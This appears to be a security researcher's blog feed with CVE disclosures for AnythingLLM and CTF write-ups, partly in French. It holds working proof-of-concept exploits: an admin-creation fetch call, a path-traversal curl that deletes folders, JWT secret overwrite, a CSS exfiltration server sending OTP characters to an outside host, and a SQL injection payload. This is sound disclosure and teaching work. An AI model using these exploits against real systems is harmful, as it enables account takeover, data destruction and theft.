web on Raltheo

CVE-2024-0795 - Improper acces control / admin account takeover

Sat, 02 Mar 2024 00:00:00 +0000

Improper input validation leads to arbitrary folder deletion (recursively)

🔒️ Requirements

Multi-user mode activated
Be manager

👀 Observation

We can see in the ui the manager account cannot create / add / modify admin account however the protection is not present in the server.

💥 Proof of Concept

Here is the actual users :

I will use raltheo2 account.

I open chrome dev tools
Inside the console I put :

fetch('/api/admin/users/new', {method: 'POST',headers: {'Authorization': `Bearer ${localStorage.getItem('anythingllm_authToken')}`,'Content-Type':'application/json'}, body: JSON.stringify({username: 'supadmin9', password: 'password', role: 'admin'})})

This will create an administrator account named supadmin9 with password password

Now login into your new admin account :)

🛠️ Fix suggestion

Separation should be made between admin and manager in server side as in the frontend.

🖊️ références

You can find the report here and the CVE details here.

CVE-2024-0763 - Arbitrary Folder Delete

Tue, 27 Feb 2024 00:00:00 +0000

Improper input validation leads to arbitrary folder deletion (recursively)

🔒️ Requirements

A standard user account (without any admin privilege)

📝 Description

Any user can delete an arbitraty folder (recursively) on remote server due to bad input sanitization leading to path traversal.

This function allows to delete an arbitrary folder (recursively) :

async function purgeFolder(folderName) {
  if (folderName === "custom-documents") return;
  const documentsFolder =
    process.env.NODE_ENV === "development"
      ? path.resolve(__dirname, `../../storage/documents`)
      : path.resolve(process.env.STORAGE_DIR, `documents`);

  const folderPath = path.resolve(documentsFolder, folderName);
  const filenames = fs
    .readdirSync(folderPath)
    .map((file) => path.join(folderName, file));
  const workspaces = await Workspace.where();

  const purgePromises = [];
  // Remove associated Vector-cache files
  for (const filename of filenames) {
    const rmVectorCache = () =>
      new Promise((resolve) =>
        purgeVectorCache(filename).then(() => resolve(true))
      );
    purgePromises.push(rmVectorCache);
  }

  // Remove workspace document associations
  for (const workspace of workspaces) {
    const rmWorkspaceDoc = () =>
      new Promise((resolve) =>
        Document.removeDocuments(workspace, filenames).then(() => resolve(true))
      );
    purgePromises.push(rmWorkspaceDoc);
  }

  await Promise.all(purgePromises.flat().map((f) => f()));
  fs.rmSync(folderPath, { recursive: true }); // Delete root document and source files.

  return;
}

For example, if folderName contains something like ../../../../../../../tmp/, the fs.rmSync(folderPath, { recursive: true }) line of code will result in deleting the file /tmp folder.

Now, this is a vulnerability because the function is called from this endpoint where an attacker fully control the name parameter of te request body.

  app.delete(
    "/system/remove-folder",
    [validatedRequest],
    async (request, response) => {
      try {
        const { name } = reqBody(request);
        await purgeFolder(name);
        response.sendStatus(200).end();
      } catch (e) {
        console.log(e.message, e);
        response.sendStatus(500).end();
      }
    }
  );

We can see that it directly calls purgeFolder with a fully controlled and unsanitized value, thus resulting in the deletion of an arbitrary folder (recursively) if we use ../ to do path traversal.

💥 Proof of Concept

Here is a proof of concept deleting the storage folder (it could be any folder) :

Check that the storage folder exists :

Login into your account (you can skip this step if using a development environment)
Execute the following request :
1. Using curl :

# Replace with your token
export TOKEN=""
curl --location --request DELETE 'http://localhost:3001/api/system/remove-folder' \
--header 'Content-Type: application/json' \
--header "Authorization: Bearer $TOKEN" \
--data '{"name" : "../../storage"}'

You can also do it using POSTMAN :

Check that the folder folder has been deleted successfully :

🛠️ Fix suggestion

Sanitize the name parameter of the request.

🖊️ références

You can find the report here and the CVE details here.

LACTF - QuickStyle

Sun, 18 Feb 2024 00:00:00 +0000

📝 Description

On se retrouve face à un challenge où il faut exfiltré un code OTP (One Time Password) uniquement avec du CSS, car malgré une injection d’HTML les CSP (Content Security Policy) nous bloquent. Le code OTP change à chaque requête et seul le bot (grâce a ses cookies) peut enregistrer un user associé au code OTP.

🔎 RECON

HTML INJECTION

A l’arrivé sur le site web du challenge je regarde les CSP :

`1`	`Content-Security-Policy : font-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'; script-src 'self'; style-src 'unsafe-inline'`

on remarque aussi qu’un script est chargé sur la page, le voici :

const params = new URLSearchParams(location.search);
const url = params.get('page');

setTimeout(async () => {
  if (!url) return;
  const message = await fetch(url).then(r => r.text());
  if (message.length > 6000000) return;
  document.querySelectorAll('.message')[0].innerHTML = message;
  document.querySelectorAll('style').forEach(s => s.remove());
}, 10);

Ok on peut observer que le script regarde si l’URL contient un param page. Si oui il fetch le contenu du param et mets la réponse dans la div avec la class .message. Juste après le script enlève toute les balises style.

Je test avec une URL que je controle et on a bien notre HTML Injection.

BYPASS LE REMOVE DES <STYLE>

Après de longues recherches le ✨DOM Clobbering✨ me permet enfin de pouvoir mettre mes balises styles ! Grâce au ✨DOM Clobbering✨ il est possible de générer des variables globales dans le contexte JS avec les attributs id et name dans les balises HTML. On peut en quelque sorte écraser la valeur précédente.

`1`	`<form name=querySelectorAll></form>`

Une image vaut mille mots :

Maintenant je peux mettre des balises style 🙂

BYPASS DU OTP QUI CHANGE

La valeur du OTP se trouve dans un input :

`1`	`<input type="text" value="<OTP>" disabled />`

Souvent pour exfiltrer des données avec du CSS on s’y prend comme ça :

1
2
3

input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}

Cette technique est bien mais dans notre cas elle ne fonctionne pas car à chaque requête la valeur du OTP change.

✨bfache✨ (Back/forward cache)

Quand on fais un retour en arrière sur un navigateur le cache est utilisé pour ne pas avoir a re fetch la page web. On va pouvoir utiliser ce cache pour bypass le changement de valeur.

Maintenant il reste plus qu’à créer un exploit.

💥 Proof of Concept

Résumons :

Un serveur pour send le CSS et recevoir les valeurs.
Une page HTML qui open le site avec l’injection HTML et qui l’envoie sur une page qui fera un history.go(-1).

Pour exfiltrer les données avec le CSS on crée un endpoint /test qui enregistre les caractères reçus dans un fichier.
On crée aussi un endpoint /exfil qui envoie le nouveau CSS avec les précédent caratères + chaque caractère de l’alphabet.
On oublie pas le header Cache-Control: no cache qui empéchera notre CSS d’être mis en cache.

import html
from flask import Flask, jsonify, make_response
from flask_cors import CORS
import os

app = Flask(__name__)
CORS(app, origins='*')
exfil_file ="saved_char.txt"
url = "https://raltheo.serveo.net"

@app.route('/exfil')
def exfil():
    html_content = """<form name=querySelectorAll></form>"""
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    data = str(open(exfil_file, "r").read().strip())
    for char in alphabet:
        html_content += f"<style>input[value^='{data}{char}']{{background-image: url('{url}/test/{data}{char}');}}</style>"
    
    response = make_response(html_content)
    response.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'
    response.headers['Pragma'] = 'no-cache'
    response.headers['Expires'] = '0'
    return response

@app.route('/test/<string:data>')
def save(data):
    open(exfil_file, "w").write(str(data))
    html_content = "<p>oui</p>"
    response = make_response(html_content)
    response.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'
    response.headers['Pragma'] = 'no-cache'
    response.headers['Expires'] = '0'
    return response

if __name__ == '__main__':
    app.run(debug=True, port=9000)

Voici le code permettant d’ouvrir une nouvelle fenetre qu’on pourra par la suite manipuler :

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
</head>
<body>
    <script>
        let css_injection = "https://quickstyle.chall.lac.tf/?page=https://raltheo.serveo.net/exfil&user=aa";
        let victim = open(css_injection);

        for (let i = 1; i < 100; i++) {
            setTimeout(() => {
                victim.location = "https://raltheo.serveo.net/goback.html";
            }, i * 500);
        }
    </script>
</body>
</html>

Le code de la page sur laquelle on envoie le bot tous les 500ms qui fera un history.go(-1) afin d’utiliser le bfcache :

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        setTimeout(() => {
            history.go(-1);
        }, 100);
    </script>
</body>
</html>

On envoi notre index.html au bot et voilà on reçoit les caractères du OTP à chaque fois que le browser fais un backward et use le cache ! lactf{masterfu3_para7737_css_exf1l7ration}

PS: apparement cette manière de solve le chall était unintended. J’ai aussi eu de la chance que le bot accepte les open (activé par default sur les bots puppeteer) et qu’il reste suffisament de temps pour que je puisse exfil les données.

La façon attendue était d’exfiltrer des trigrammes à l’aide du CSS. Plus de détails ici.

CVE-2023-5833 - Admin account TakeOver

Thu, 14 Sep 2023 00:00:00 +0000

📝 Description

The endpoint api/system/update-env allows any authenticated users to change env variables of the back-end process. We will abuse this functionnality to change JWT_SECRET env variable (which is used to sign the JWT token).

💥 Proof of Concept

Imagine the following list of accounts is used :

Login to the user (who is not admin) account and grab the jwt token in the localStorage (with the key : anythingllm_authToken )

The jwt token infos are (base64 decoded) :

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "id": 2,
  "username": "user",
  "iat": 1694641865,
  "exp": 1697233865
}

Now go on Postman and send a POST request to http://localhost:3001/api/system/update-env with our JWT as Bearer token value and with the following json as body :

`1`	`{"JWTSecret":"admintakeover"}`

Now go to jwt.io and put the JWT token, change the id and username, sign the JWT with the secret admintakeover

Put this token in your localstorage and reload page, you should be admin (we can see i’m admin with the forged jwt token):

🖊️ références

You can find the report here and the CVE details here.

YWH DOJO#26 - SQLovin

Thu, 03 Aug 2023 00:00:00 +0000

📝 Description

On se retrouve face à une injection SQL 💉, notre but est de changer l’email pour un username donné (l’email et l’username sont définis UNIQUE du coup nous avons un conflit qui se crée car nous ne pouvons pas ajouter deux entrées avec le même username).

💥 EXPLOITATION

COMPRENDRE

La première étape est de voir où est la SQLI, en regardant le code on peut voir que notre input est mis dans un INSERT :

`1`	`INSERT INTO superbad(country, email, username, password) VALUES('Hawaii', 'McLovin@gmail.com', 'McLovin', $pass)`

on peut voir aussi qu’un replace est effectué sur notre input :

`1`	[0-9]\|'\|"\|`\|\s

nous n’avons donc pas le droit aux chiffres, aux ‘, “, ` et aux espaces. On sait aussi que c’est sous SQLITE3

on test quelques payloads pour essayer de ne plus avoir d’erreur, en testant :

null)--

cela nous renvoie :

1
2
3

{
  "ERROR": "SqliteError: UNIQUE constraint failed: superbad.username"
}

😀😀 c’est un bon début, on comprend qu’il va donc y avoir un conflit à cause du UNIQUE dans le CREATE TABLE puisque nos deux insert ont le même username.

on pourra donc ecrire du SQL ici :

`1`	`null)<inject_here>--`

TROUVER COMMENT BYPASS L’ERREUR

Après quelques recherches sur google incluant une injection SQL et cette erreur je ne trouve vraiment pas grand chose 💀. Après plusieurs minutes à tourner en rond je pars lire la documentation SQLITE

En lisant je tombe sur ON CONFLICT clause, ca me paraît intéressant !

Je cherche un peu sur internet et je tombe sur ça Use INSERT ON CONFLICT to overwrite data, parfait je trouve que ça colle vraiment avec notre situation plus qu’a crée notre payload final !😈

CRÉATION DU PAYLOAD FINAL

on sait qu’on ne peux pas mettre d’espaces mais un bypass est de mettre des commentaires :

`1`	`SELECT * from test; => SELECT/*///from//test;`

avec cette technique nous pouvons donc créer notre payload (avec on conflict) sans quotes, sans nombres et sans espaces !

si on applique la logique des exemples que nous avons pu voir sur les sites précédents on obtient :

`1`	`null)ON//CONFLICT(username)//DO//UPDATE//SET//email//=/**/excluded.email;--`

Concrètement ce code fais en sorte que si nous avons une erreur sur notre INSERT à cause du fait que deux values soient similaire il va exécuter le code apres le DO donc ici update la value de la row avec le même username avec l’email qu’on voulais de base ajouté.

En gros on ça transforme un peu notre INSERT en UPDATE.

💥 Proof of Concept

Comme expliqué ci-dessus avec ce payload je suis capable de changer l’email pour l’username McLovin 😎😎 :

`1`	`null)ON//CONFLICT(username)//DO//UPDATE//SET//email//=/**/excluded.email;--`